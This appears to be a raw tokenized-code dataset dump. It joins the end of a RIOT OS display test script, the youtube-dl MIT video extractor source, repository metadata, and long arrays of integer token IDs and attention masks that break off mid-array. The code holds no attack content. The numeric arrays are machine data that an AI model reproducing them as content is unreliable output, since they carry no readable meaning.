'12| ▜█ ▄▟█▛ ▄ ▄▄ ▄▄▄▄ |',
'14| ▗▄█▖▐█▝██▀ █▋ ▟▛▜▙ ▀▜▛▀ |',
'16| ▗██▀ ▐█ ▝ █▋ █▋ █ ▐▋ |',
'18| ▟▛ ▐█ ▄ █▋ █▋ █ ▐▋ |',
'20| █▋ ▐█ ▝█▋ █▋ █▋ █ ▐▋ |',
'22| █▋ ▐█ ▜█ █▋ █▋ █ ▐▋ |',
'24| █▙ ▗█▛ ▝█▙ █▋ █▋▗█ ▐▋ |',
'26| ▐█▙▄██▘ ▜█ █▘ ▝██▘ ▐▋ |',
'28| ▝▜█▀▘ |',
'30| |',
)
def testfunc(child):
child.expect_exact('Initializing to stdout.')
child.expect_exact('Initializing display.')
child.expect_exact('Drawing on screen.')
for line in EXPECTED_STDOUT:
child.expect_exact(line)
if __name__ == "__main__":
sys.path.append(os.path.join(os.environ['RIOTBASE'], 'dist/tools/testrunner'))
from testrunner import run
sys.exit(run(testfunc))
|
lgpl-2.1
|
[
3381,
2647,
15,
1393,
15,
1813,
2366,
19,
199,
199,
3,
1898,
334,
35,
9,
9708,
1010,
23714,
199,
3,
199,
3,
961,
570,
365,
5420,
370,
314,
2895,
436,
3704,
402,
314,
1664,
6401,
199,
3,
1696,
1684,
844,
373,
18,
14,
17,
14,
1666,
314,
570,
5113,
315,
314,
2746,
2166,
199,
3,
2082,
367,
1655,
2436,
14,
199,
199,
646,
747,
199,
646,
984,
199,
199,
22358,
63,
13850,
275,
334,
272,
283,
383,
92,
2476,
7861,
1204,
297,
272,
283,
996,
92,
2476,
7861,
1204,
297,
272,
283,
966,
92,
2476,
7861,
1204,
297,
272,
283,
1690,
92,
2476,
7861,
1204,
297,
272,
283,
2036,
92,
2476,
7861,
1204,
297,
272,
283,
709,
92,
420,
221,
25164,
25164,
16402,
11079,
239,
11079,
234,
221,
221,
11079,
239,
11079,
234,
11079,
239,
11079,
234,
221,
11079,
254,
25164,
11079,
245,
13235,
1204,
297,
272,
283,
713,
92,
263,
221,
16402,
221,
221,
11079,
239,
11079,
234,
221,
221,
11079,
239,
11079,
234,
11079,
239,
11079,
234,
11079,
239,
11079,
250,
221,
11079,
252,
16402,
13235,
1204,
297,
272,
283,
1079,
92,
263,
221,
16402,
221,
221,
11079,
239,
25164,
25164,
11079,
234,
11079,
239,
11079,
234,
11079,
252,
16402,
11079,
248,
11079,
227,
14960,
1204,
297,
272,
283,
975,
92,
263,
221,
16402,
221,
221,
11079,
239,
11079,
234,
221,
221,
11079,
239,
11079,
234,
11079,
239,
11079,
234,
221,
221,
11079,
223,
11079,
251,
11079,
248,
13235,
1204,
297,
272,
283,
1085,
92,
263,
221,
16402,
221,
221,
11079,
239,
11079,
234,
221,
221,
11079,
239,
11079,
234,
11079,
239,
11079,
234,
11079,
239,
11079,
248,
221,
11079,
246,
16402,
13235,
1204,
297,
272,
283,
1165,
92,
263,
221,
16402,
221,
221,
11079,
239,
11079,
234,
221,
221,
11079,
239,
11079,
234,
11079,
239,
11079,
234,
221,
11079,
251,
25164,
11079,
247,
13235,
1204,
297,
272,
283,
1081,
92,
2476,
7861,
1204,
297,
272,
283,
1194,
92,
2476,
7861,
1204,
297,
272,
283,
1479,
92,
2476,
7861,
1204,
297,
272,
283,
1651,
92,
2476,
7861,
1204,
297,
272,
283,
1216,
92,
2476,
7861,
1204,
297,
272,
283,
383,
92,
2476,
7861,
1204,
297,
272,
283,
996,
92,
2476,
7861,
1204,
297,
272,
283,
966,
92,
2476,
7861,
1204,
297,
272,
283,
1690,
92,
2476,
7861,
1204,
297,
272,
283,
2036,
92,
2476,
7861,
1204,
297,
272,
283,
709,
92,
3322,
221,
11079,
239,
11079,
234,
221,
11079,
254,
25164,
11079,
245,
13293,
1204,
297,
272,
283,
713,
92,
3322,
221,
11079,
239,
11079,
234,
11079,
239,
11079,
250,
221,
11079,
252,
16402,
13293,
1204,
297,
272,
283,
1079,
92,
3322,
221,
11079,
239,
11079,
234,
11079,
252,
16402,
11079,
248,
11079,
227,
2476,
1204,
297,
272,
283,
975,
92,
3322,
221,
11079,
239,
11079,
234,
221,
221,
11079,
223,
11079,
251,
11079,
248,
13293,
1204,
297,
272,
283,
1085,
92,
3322,
221,
11079,
239,
11079,
234,
11079,
239,
11079,
248,
221,
11079,
246,
16402,
13293,
1204,
297,
272,
283,
1165,
92,
3322,
221,
11079,
239,
11079,
234,
221,
11079,
251,
25164,
11079,
247,
13293,
1204,
297,
272,
283,
1081,
92,
2476,
7861,
1204,
297,
272,
283,
1194,
92,
2476,
7861,
1204,
297,
272,
283,
1479,
92,
2476,
7861,
1204,
297,
272,
283,
1651,
92,
2476,
7861,
1204,
297,
272,
283,
1216,
92,
2476,
7861,
1204,
297,
272,
283,
383,
92,
3698,
221,
11079,
227,
11079,
227,
11079,
245,
32542,
1204,
297,
272,
283,
996,
92,
260,
221,
11079,
246,
25164,
25164,
11079,
234,
27503,
1204,
297,
272,
283,
966,
92,
263,
221,
11079,
246,
16402,
11079,
250,
11079,
247,
221,
11079,
251,
16402,
11079,
245,
15530,
1204,
297,
272,
283,
1690,
92,
263,
221,
11079,
239,
16402,
259,
221,
16402,
11079,
234,
15530,
1204,
297,
272,
283,
2036,
92,
263,
221,
25164,
259,
221,
16402,
11079,
234,
15530,
1204,
297,
272,
283,
709,
92,
263,
221,
25164,
257,
221,
11079,
254,
16402,
11079,
247,
15530,
1204,
297,
272,
283,
713,
92,
263,
221,
11079,
251,
16402,
221,
11079,
227,
11079,
254,
16402,
11079,
250,
221,
221,
11079,
227,
257,
221,
11079,
227,
11079,
227,
221,
221,
11079,
227,
11079,
227,
11079,
227,
11079,
227,
10473,
1204,
297,
272,
283,
1079,
92,
259,
221,
11079,
246,
11079,
227,
16402,
11079,
245,
11079,
239,
16402,
11079,
252,
25164,
11079,
223,
257,
221,
16402,
11079,
234,
221,
11079,
254,
11079,
250,
11079,
251,
11079,
248,
221,
11079,
223,
11079,
251,
11079,
250,
11079,
223,
10473,
1204,
297,
272,
283,
975,
92,
257,
221,
11079,
246,
25164,
11079,
223,
221,
11079,
239,
16402,
221,
11079,
252,
258,
221,
16402,
11079,
234,
221,
16402,
11079,
234,
221,
16402,
221,
221,
11079,
239,
11079,
234,
9668,
1204,
297,
272,
283,
1085,
92,
257,
221,
11079,
254,
11079,
250,
257,
221,
11079,
239,
16402,
221,
221,
11079,
227,
259,
221,
16402,
11079,
234,
221,
16402,
11079,
234,
221,
16402,
221,
221,
11079,
239,
11079,
234,
9668,
1204,
297,
272,
283,
1165,
92,
257,
221,
16402,
11079,
234,
257,
221,
11079,
239,
16402,
221,
11079,
252,
16402,
11079,
234,
257,
221,
16402,
11079,
234,
221,
16402,
11079,
234,
221,
16402,
221,
221,
11079,
239,
11079,
234,
9668,
1204,
297,
272,
283,
1081,
92,
257,
221,
16402,
11079,
234,
257,
221,
11079,
239,
16402,
221,
221,
11079,
251,
16402,
257,
221,
16402,
11079,
234,
221,
16402,
11079,
234,
221,
16402,
221,
221,
11079,
239,
11079,
234,
9668,
1204,
297,
272,
283,
1194,
92,
257,
221,
16402,
11079,
248,
221,
221,
11079,
246,
16402,
11079,
250,
221,
221,
11079,
252,
16402,
11079,
248,
221,
221,
16402,
11079,
234,
221,
16402,
11079,
234,
11079,
246,
16402,
221,
221,
11079,
239,
11079,
234,
9668,
1204,
297,
272,
283,
1479,
92,
257,
221,
11079,
239,
16402,
11079,
248,
11079,
227,
25164,
11079,
247,
257,
221,
11079,
251,
16402,
221,
221,
16402,
11079,
247,
221,
11079,
252,
25164,
11079,
247,
221,
221,
11079,
239,
11079,
234,
9668,
1204,
297,
272,
283,
1651,
92,
259,
221,
11079,
252,
11079,
251,
16402,
11079,
223,
11079,
247,
2476,
3515,
1204,
297,
272,
283,
1216,
92,
2476,
7861,
1204,
297,
199,
9,
421,
199,
318,
511,
1532,
8,
1739,
304,
272,
1982,
14,
4921,
63,
7327,
360,
5733
] |
[
2647,
15,
1393,
15,
1813,
2366,
19,
199,
199,
3,
1898,
334,
35,
9,
9708,
1010,
23714,
199,
3,
199,
3,
961,
570,
365,
5420,
370,
314,
2895,
436,
3704,
402,
314,
1664,
6401,
199,
3,
1696,
1684,
844,
373,
18,
14,
17,
14,
1666,
314,
570,
5113,
315,
314,
2746,
2166,
199,
3,
2082,
367,
1655,
2436,
14,
199,
199,
646,
747,
199,
646,
984,
199,
199,
22358,
63,
13850,
275,
334,
272,
283,
383,
92,
2476,
7861,
1204,
297,
272,
283,
996,
92,
2476,
7861,
1204,
297,
272,
283,
966,
92,
2476,
7861,
1204,
297,
272,
283,
1690,
92,
2476,
7861,
1204,
297,
272,
283,
2036,
92,
2476,
7861,
1204,
297,
272,
283,
709,
92,
420,
221,
25164,
25164,
16402,
11079,
239,
11079,
234,
221,
221,
11079,
239,
11079,
234,
11079,
239,
11079,
234,
221,
11079,
254,
25164,
11079,
245,
13235,
1204,
297,
272,
283,
713,
92,
263,
221,
16402,
221,
221,
11079,
239,
11079,
234,
221,
221,
11079,
239,
11079,
234,
11079,
239,
11079,
234,
11079,
239,
11079,
250,
221,
11079,
252,
16402,
13235,
1204,
297,
272,
283,
1079,
92,
263,
221,
16402,
221,
221,
11079,
239,
25164,
25164,
11079,
234,
11079,
239,
11079,
234,
11079,
252,
16402,
11079,
248,
11079,
227,
14960,
1204,
297,
272,
283,
975,
92,
263,
221,
16402,
221,
221,
11079,
239,
11079,
234,
221,
221,
11079,
239,
11079,
234,
11079,
239,
11079,
234,
221,
221,
11079,
223,
11079,
251,
11079,
248,
13235,
1204,
297,
272,
283,
1085,
92,
263,
221,
16402,
221,
221,
11079,
239,
11079,
234,
221,
221,
11079,
239,
11079,
234,
11079,
239,
11079,
234,
11079,
239,
11079,
248,
221,
11079,
246,
16402,
13235,
1204,
297,
272,
283,
1165,
92,
263,
221,
16402,
221,
221,
11079,
239,
11079,
234,
221,
221,
11079,
239,
11079,
234,
11079,
239,
11079,
234,
221,
11079,
251,
25164,
11079,
247,
13235,
1204,
297,
272,
283,
1081,
92,
2476,
7861,
1204,
297,
272,
283,
1194,
92,
2476,
7861,
1204,
297,
272,
283,
1479,
92,
2476,
7861,
1204,
297,
272,
283,
1651,
92,
2476,
7861,
1204,
297,
272,
283,
1216,
92,
2476,
7861,
1204,
297,
272,
283,
383,
92,
2476,
7861,
1204,
297,
272,
283,
996,
92,
2476,
7861,
1204,
297,
272,
283,
966,
92,
2476,
7861,
1204,
297,
272,
283,
1690,
92,
2476,
7861,
1204,
297,
272,
283,
2036,
92,
2476,
7861,
1204,
297,
272,
283,
709,
92,
3322,
221,
11079,
239,
11079,
234,
221,
11079,
254,
25164,
11079,
245,
13293,
1204,
297,
272,
283,
713,
92,
3322,
221,
11079,
239,
11079,
234,
11079,
239,
11079,
250,
221,
11079,
252,
16402,
13293,
1204,
297,
272,
283,
1079,
92,
3322,
221,
11079,
239,
11079,
234,
11079,
252,
16402,
11079,
248,
11079,
227,
2476,
1204,
297,
272,
283,
975,
92,
3322,
221,
11079,
239,
11079,
234,
221,
221,
11079,
223,
11079,
251,
11079,
248,
13293,
1204,
297,
272,
283,
1085,
92,
3322,
221,
11079,
239,
11079,
234,
11079,
239,
11079,
248,
221,
11079,
246,
16402,
13293,
1204,
297,
272,
283,
1165,
92,
3322,
221,
11079,
239,
11079,
234,
221,
11079,
251,
25164,
11079,
247,
13293,
1204,
297,
272,
283,
1081,
92,
2476,
7861,
1204,
297,
272,
283,
1194,
92,
2476,
7861,
1204,
297,
272,
283,
1479,
92,
2476,
7861,
1204,
297,
272,
283,
1651,
92,
2476,
7861,
1204,
297,
272,
283,
1216,
92,
2476,
7861,
1204,
297,
272,
283,
383,
92,
3698,
221,
11079,
227,
11079,
227,
11079,
245,
32542,
1204,
297,
272,
283,
996,
92,
260,
221,
11079,
246,
25164,
25164,
11079,
234,
27503,
1204,
297,
272,
283,
966,
92,
263,
221,
11079,
246,
16402,
11079,
250,
11079,
247,
221,
11079,
251,
16402,
11079,
245,
15530,
1204,
297,
272,
283,
1690,
92,
263,
221,
11079,
239,
16402,
259,
221,
16402,
11079,
234,
15530,
1204,
297,
272,
283,
2036,
92,
263,
221,
25164,
259,
221,
16402,
11079,
234,
15530,
1204,
297,
272,
283,
709,
92,
263,
221,
25164,
257,
221,
11079,
254,
16402,
11079,
247,
15530,
1204,
297,
272,
283,
713,
92,
263,
221,
11079,
251,
16402,
221,
11079,
227,
11079,
254,
16402,
11079,
250,
221,
221,
11079,
227,
257,
221,
11079,
227,
11079,
227,
221,
221,
11079,
227,
11079,
227,
11079,
227,
11079,
227,
10473,
1204,
297,
272,
283,
1079,
92,
259,
221,
11079,
246,
11079,
227,
16402,
11079,
245,
11079,
239,
16402,
11079,
252,
25164,
11079,
223,
257,
221,
16402,
11079,
234,
221,
11079,
254,
11079,
250,
11079,
251,
11079,
248,
221,
11079,
223,
11079,
251,
11079,
250,
11079,
223,
10473,
1204,
297,
272,
283,
975,
92,
257,
221,
11079,
246,
25164,
11079,
223,
221,
11079,
239,
16402,
221,
11079,
252,
258,
221,
16402,
11079,
234,
221,
16402,
11079,
234,
221,
16402,
221,
221,
11079,
239,
11079,
234,
9668,
1204,
297,
272,
283,
1085,
92,
257,
221,
11079,
254,
11079,
250,
257,
221,
11079,
239,
16402,
221,
221,
11079,
227,
259,
221,
16402,
11079,
234,
221,
16402,
11079,
234,
221,
16402,
221,
221,
11079,
239,
11079,
234,
9668,
1204,
297,
272,
283,
1165,
92,
257,
221,
16402,
11079,
234,
257,
221,
11079,
239,
16402,
221,
11079,
252,
16402,
11079,
234,
257,
221,
16402,
11079,
234,
221,
16402,
11079,
234,
221,
16402,
221,
221,
11079,
239,
11079,
234,
9668,
1204,
297,
272,
283,
1081,
92,
257,
221,
16402,
11079,
234,
257,
221,
11079,
239,
16402,
221,
221,
11079,
251,
16402,
257,
221,
16402,
11079,
234,
221,
16402,
11079,
234,
221,
16402,
221,
221,
11079,
239,
11079,
234,
9668,
1204,
297,
272,
283,
1194,
92,
257,
221,
16402,
11079,
248,
221,
221,
11079,
246,
16402,
11079,
250,
221,
221,
11079,
252,
16402,
11079,
248,
221,
221,
16402,
11079,
234,
221,
16402,
11079,
234,
11079,
246,
16402,
221,
221,
11079,
239,
11079,
234,
9668,
1204,
297,
272,
283,
1479,
92,
257,
221,
11079,
239,
16402,
11079,
248,
11079,
227,
25164,
11079,
247,
257,
221,
11079,
251,
16402,
221,
221,
16402,
11079,
247,
221,
11079,
252,
25164,
11079,
247,
221,
221,
11079,
239,
11079,
234,
9668,
1204,
297,
272,
283,
1651,
92,
259,
221,
11079,
252,
11079,
251,
16402,
11079,
223,
11079,
247,
2476,
3515,
1204,
297,
272,
283,
1216,
92,
2476,
7861,
1204,
297,
199,
9,
421,
199,
318,
511,
1532,
8,
1739,
304,
272,
1982,
14,
4921,
63,
7327,
360,
5733,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
shanglt/youtube-dl
|
youtube_dl/extractor/mit.py
|
32
|
6038
|
from __future__ import unicode_literals
import re
import json
from .common import InfoExtractor
from .youtube import YoutubeIE
from ..utils import (
clean_html,
ExtractorError,
get_element_by_id,
)
class TechTVMITIE(InfoExtractor):
IE_NAME = 'techtv.mit.edu'
_VALID_URL = r'https?://techtv\.mit\.edu/(?:videos|embeds)/(?P<id>\d+)'
_TEST = {
'url': 'http://techtv.mit.edu/videos/25418-mit-dna-learning-center-set',
'md5': '00a3a27ee20d44bcaa0933ccec4a2cf7',
'info_dict': {
'id': '25418',
'ext': 'mp4',
'title': 'MIT DNA and Protein Sets',
'description': 'md5:46f5c69ce434f0a97e7c628cc142802d',
},
}
def _real_extract(self, url):
video_id = self._match_id(url)
raw_page = self._download_webpage(
'http://techtv.mit.edu/videos/%s' % video_id, video_id)
clean_page = re.compile(r'<!--.*?-->', re.S).sub('', raw_page)
base_url = self._proto_relative_url(self._search_regex(
r'ipadUrl: \'(.+?cloudfront.net/)', raw_page, 'base url'), 'http:')
formats_json = self._search_regex(
r'bitrates: (\[.+?\])', raw_page, 'video formats')
formats_mit = json.loads(formats_json)
formats = [
{
'format_id': f['label'],
'url': base_url + f['url'].partition(':')[2],
'ext': f['url'].partition(':')[0],
'format': f['label'],
'width': f['width'],
'vbr': f['bitrate'],
}
for f in formats_mit
]
title = get_element_by_id('edit-title', clean_page)
description = clean_html(get_element_by_id('edit-description', clean_page))
thumbnail = self._search_regex(
r'playlist:.*?url: \'(.+?)\'',
raw_page, 'thumbnail', flags=re.DOTALL)
return {
'id': video_id,
'title': title,
'formats': formats,
'description': description,
'thumbnail': thumbnail,
}
class MITIE(TechTVMITIE):
IE_NAME = 'video.mit.edu'
_VALID_URL = r'https?://video\.mit\.edu/watch/(?P<title>[^/]+)'
_TEST = {
'url': 'http://video.mit.edu/watch/the-government-is-profiling-you-13222/',
'md5': '7db01d5ccc1895fc5010e9c9e13648da',
'info_dict': {
'id': '21783',
'ext': 'mp4',
'title': 'The Government is Profiling You',
'description': 'md5:ad5795fe1e1623b73620dbfd47df9afd',
},
}
def _real_extract(self, url):
mobj = re.match(self._VALID_URL, url)
page_title = mobj.group('title')
webpage = self._download_webpage(url, page_title)
embed_url = self._search_regex(
r'<iframe .*?src="(.+?)"', webpage, 'embed url')
return self.url_result(embed_url, ie='TechTVMIT')
class OCWMITIE(InfoExtractor):
IE_NAME = 'ocw.mit.edu'
_VALID_URL = r'^http://ocw\.mit\.edu/courses/(?P<topic>[a-z0-9\-]+)'
_BASE_URL = 'http://ocw.mit.edu/'
_TESTS = [
{
'url': 'http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-041-probabilistic-systems-analysis-and-applied-probability-fall-2010/video-lectures/lecture-7-multiple-variables-expectations-independence/',
'info_dict': {
'id': 'EObHWIEKGjA',
'ext': 'mp4',
'title': 'Lecture 7: Multiple Discrete Random Variables: Expectations, Conditioning, Independence',
'description': 'In this lecture, the professor discussed multiple random variables, expectations, and binomial distribution.',
'upload_date': '20121109',
'uploader_id': 'MIT',
'uploader': 'MIT OpenCourseWare',
}
},
{
'url': 'http://ocw.mit.edu/courses/mathematics/18-01sc-single-variable-calculus-fall-2010/1.-differentiation/part-a-definition-and-basic-rules/session-1-introduction-to-derivatives/',
'info_dict': {
'id': '7K1sB05pE0A',
'ext': 'mp4',
'title': 'Session 1: Introduction to Derivatives',
'upload_date': '20090818',
'uploader_id': 'MIT',
'uploader': 'MIT OpenCourseWare',
'description': 'This section contains lecture video excerpts, lecture notes, an interactive mathlet with supporting documents, and problem solving videos.',
}
}
]
def _real_extract(self, url):
mobj = re.match(self._VALID_URL, url)
topic = mobj.group('topic')
webpage = self._download_webpage(url, topic)
title = self._html_search_meta('WT.cg_s', webpage)
description = self._html_search_meta('Description', webpage)
# search for call to ocw_embed_chapter_media(container_id, media_url, provider, page_url, image_url, start, stop, captions_file)
embed_chapter_media = re.search(r'ocw_embed_chapter_media\((.+?)\)', webpage)
if embed_chapter_media:
metadata = re.sub(r'[\'"]', '', embed_chapter_media.group(1))
metadata = re.split(r', ?', metadata)
yt = metadata[1]
else:
# search for call to ocw_embed_chapter_media(container_id, media_url, provider, page_url, image_url, captions_file)
embed_media = re.search(r'ocw_embed_media\((.+?)\)', webpage)
if embed_media:
metadata = re.sub(r'[\'"]', '', embed_media.group(1))
metadata = re.split(r', ?', metadata)
yt = metadata[1]
else:
raise ExtractorError('Unable to find embedded YouTube video.')
video_id = YoutubeIE.extract_id(yt)
return {
'_type': 'url_transparent',
'id': video_id,
'title': title,
'description': description,
'url': yt,
'ie_key': 'Youtube',
}
|
unlicense
|
[
504,
636,
2443,
363,
492,
2649,
63,
5955,
199,
199,
646,
295,
199,
646,
2022,
199,
199,
504,
1275,
2330,
492,
21298,
199,
504,
1275,
9788,
492,
1488,
7715,
4332,
199,
504,
2508,
1208,
492,
334,
272,
3633,
63,
1360,
12,
272,
19783,
12,
272,
664,
63,
2108,
63,
991,
63,
344,
12,
199,
9,
421,
199,
533,
5773,
335,
52,
6849,
649,
4332,
8,
18283,
304,
272,
15292,
63,
2339,
275,
283,
15970,
6993,
14,
1147,
14,
8654,
7,
272,
485,
5600,
63,
2632,
275,
519,
7,
2859,
14144,
15970,
6993,
4537,
1147,
4537,
8654,
32576,
11418,
92,
6427,
83,
2447,
2229,
48,
28,
344,
3072,
68,
29600,
339,
485,
2864,
275,
469,
267,
283,
633,
356,
283,
1014,
921,
15970,
6993,
14,
1147,
14,
8654,
15,
11418,
15,
8306,
1085,
13,
1147,
13,
21075,
13,
10546,
13,
4218,
13,
409,
297,
267,
283,
1064,
21,
356,
283,
383,
65,
19,
65,
1465,
1024,
1165,
68,
1602,
66,
32350,
1643,
1153,
67,
31645,
20,
65,
18,
2177,
23,
297,
267,
283,
815,
63,
807,
356,
469,
288,
283,
344,
356,
283,
8306,
1085,
297,
288,
283,
832,
356,
283,
311,
20,
297,
288,
283,
1213,
356,
283,
13965,
577,
7170,
436,
2165,
15859,
10729,
297,
288,
283,
1802,
356,
283,
1064,
21,
26,
2466,
70,
21,
67,
1876,
301,
26274,
70,
16,
65,
2576,
69,
23,
67,
22,
1651,
2055,
1079,
1651,
996,
68,
297,
267,
1660,
272,
789,
339,
347,
485,
3093,
63,
5005,
8,
277,
12,
1166,
304,
267,
3991,
63,
344,
275,
291,
423,
1431,
63,
344,
8,
633,
9,
267,
3066,
63,
1606,
275,
291,
423,
4249,
63,
12022,
8,
288,
283,
1014,
921,
15970,
6993,
14,
1147,
14,
8654,
15,
11418,
3149,
83,
7,
450,
3991,
63,
344,
12,
3991,
63,
344,
9,
267,
3633,
63,
1606,
275,
295,
14,
2014,
8,
82,
7601,
17722,
6697,
306,
4206,
295,
14,
51,
680,
954,
8594,
3066,
63,
1606,
9,
398,
1300,
63,
633,
275,
291,
423,
2625,
63,
6188,
63,
633,
8,
277,
423,
1733,
63,
3821,
8,
288,
519,
7,
711,
350,
6417,
26,
971,
6774,
11198,
4091,
14708,
14,
846,
15,
3196,
3066,
63,
1606,
12,
283,
1095,
1166,
659,
283,
1014,
10993,
267,
6752,
63,
1001,
275,
291,
423,
1733,
63,
3821,
8,
288,
519,
7,
2075,
17153,
26,
14749,
59,
6977,
8995,
22206,
3066,
63,
1606,
12,
283,
3722,
6752,
358,
267,
6752,
63,
1147,
275,
2022,
14,
3640,
8,
6321,
63,
1001,
9,
267,
6752,
275,
359,
288,
469,
355,
283,
908,
63,
344,
356,
289,
459,
1302,
995,
355,
283,
633,
356,
1300,
63,
633,
435,
289,
459,
633,
2278,
5312,
24050,
18,
467,
355,
283,
832,
356,
289,
459,
633,
2278,
5312,
24050,
16,
467,
355,
283,
908,
356,
289,
459,
1302,
995,
355,
283,
2063,
356,
289,
459,
2063,
995,
355,
283,
86,
3289,
356,
289,
459,
24484,
995,
288,
789,
288,
367,
289,
315,
6752,
63,
1147,
267,
1622,
398,
2538,
275,
664,
63,
2108,
63,
991,
63,
344,
360,
3773,
13,
1213,
297,
3633,
63,
1606,
9,
267,
1369,
275,
3633,
63,
1360,
8,
362,
63,
2108,
63,
991,
63,
344,
360,
3773,
13,
1802,
297,
3633,
63,
1606,
430,
267,
10062,
275,
291,
423,
1733,
63,
3821,
8,
288,
519,
7,
10411,
26,
6697,
633,
26,
971,
6774,
11198,
2862,
6448,
288,
3066,
63,
1606,
12,
283,
8311,
297,
3285,
29,
264,
14,
16504,
9,
398,
372,
469,
288,
283,
344,
356,
3991,
63,
344,
12,
288,
283,
1213,
356,
2538,
12,
288,
283,
6321,
356,
6752,
12,
288,
283,
1802,
356,
1369,
12,
288,
283,
8311,
356,
10062,
12,
267,
789,
421,
199,
533,
10697,
4332,
8,
6301,
335,
52,
6849,
649,
4332,
304,
272,
15292,
63,
2339,
275,
283,
3722,
14,
1147,
14,
8654,
7,
272,
485,
5600,
63,
2632,
275,
519,
7,
2859,
14144,
3722,
4537,
1147,
4537,
8654,
15,
6821,
9448,
48,
28,
1213,
26906,
3171,
339,
485,
2864,
275,
469,
267,
283,
633,
356,
283,
1014,
921,
3722,
14,
1147,
14,
8654,
15,
6821,
15,
1589,
13,
71,
27639,
13,
374,
13,
496,
19294,
13,
13297,
13,
6557,
1081,
3678,
267,
283,
1064,
21,
356,
283,
23,
697,
614,
68,
21,
19504,
1085,
2720,
3003,
8216,
16,
69,
25,
67,
25,
69,
969,
10552,
983,
297,
267,
283,
815,
63,
807,
356,
469,
288,
283,
344,
356,
283,
9335,
2658,
297,
288,
283,
832,
356,
283,
311,
20,
297,
288,
283,
1213,
356,
283,
1918,
598,
27639,
365,
2165,
19294,
2047,
297,
288,
283,
1802,
356,
283,
1064,
21,
26,
350,
1641,
2720,
771,
17,
69,
975,
1789,
66,
30665,
1165,
697,
2592,
2417,
1587,
25,
65,
2592,
297,
267,
1660,
272,
789,
339,
347,
485,
3093,
63,
5005,
8,
277,
12,
1166,
304,
267,
14208,
275,
295,
14,
1431,
8,
277,
423,
5600,
63,
2632,
12,
1166,
9,
267,
2034,
63,
1213,
275,
14208,
14,
923,
360,
1213,
358,
267,
9248,
275,
291,
423,
4249,
63,
12022,
8,
633,
12,
2034,
63,
1213,
9,
267,
6441,
63,
633,
275,
291,
423,
1733,
63,
3821,
8,
288,
519,
7601,
20052,
1275,
15279,
2164,
628,
28149,
32691,
9248,
12,
283,
6427,
1166,
358,
267,
372,
291,
14,
633,
63,
1099,
8,
6427,
63,
633,
12,
13446,
534,
6301,
335,
52,
6849,
649,
358,
421,
199,
533,
593,
35,
13073,
649,
4332,
8,
18283,
304,
272,
15292,
63,
2339,
275,
283,
679,
87,
14,
1147,
14,
8654,
7,
272,
485,
5600,
63,
2632,
275,
519,
4289,
1014,
921,
679,
87,
4537,
1147,
4537,
8654,
15,
11653,
9448,
48,
28,
5746,
9514,
65,
13,
90,
16,
13,
25,
16185,
29716,
272,
485,
5825,
63,
2632,
275,
283,
1014,
921,
679,
87,
14,
1147,
14,
8654,
4805,
339,
485,
7569,
275,
359,
267,
469,
288,
283,
633,
356,
283,
1014,
921,
679,
87,
14,
1147,
14,
8654,
15,
11653,
15,
26334,
8825,
13,
3908,
15663,
13,
460,
13,
23805,
13,
9907,
4894,
15,
22,
13,
10531,
13,
6101,
14677,
513,
530,
13,
19135,
13,
10466,
13,
460,
13,
17250,
13,
17210,
13,
70,
452,
13,
6542,
15,
3722,
13,
1264,
1482,
15,
1264,
608,
13,
23,
13
] |
[
636,
2443,
363,
492,
2649,
63,
5955,
199,
199,
646,
295,
199,
646,
2022,
199,
199,
504,
1275,
2330,
492,
21298,
199,
504,
1275,
9788,
492,
1488,
7715,
4332,
199,
504,
2508,
1208,
492,
334,
272,
3633,
63,
1360,
12,
272,
19783,
12,
272,
664,
63,
2108,
63,
991,
63,
344,
12,
199,
9,
421,
199,
533,
5773,
335,
52,
6849,
649,
4332,
8,
18283,
304,
272,
15292,
63,
2339,
275,
283,
15970,
6993,
14,
1147,
14,
8654,
7,
272,
485,
5600,
63,
2632,
275,
519,
7,
2859,
14144,
15970,
6993,
4537,
1147,
4537,
8654,
32576,
11418,
92,
6427,
83,
2447,
2229,
48,
28,
344,
3072,
68,
29600,
339,
485,
2864,
275,
469,
267,
283,
633,
356,
283,
1014,
921,
15970,
6993,
14,
1147,
14,
8654,
15,
11418,
15,
8306,
1085,
13,
1147,
13,
21075,
13,
10546,
13,
4218,
13,
409,
297,
267,
283,
1064,
21,
356,
283,
383,
65,
19,
65,
1465,
1024,
1165,
68,
1602,
66,
32350,
1643,
1153,
67,
31645,
20,
65,
18,
2177,
23,
297,
267,
283,
815,
63,
807,
356,
469,
288,
283,
344,
356,
283,
8306,
1085,
297,
288,
283,
832,
356,
283,
311,
20,
297,
288,
283,
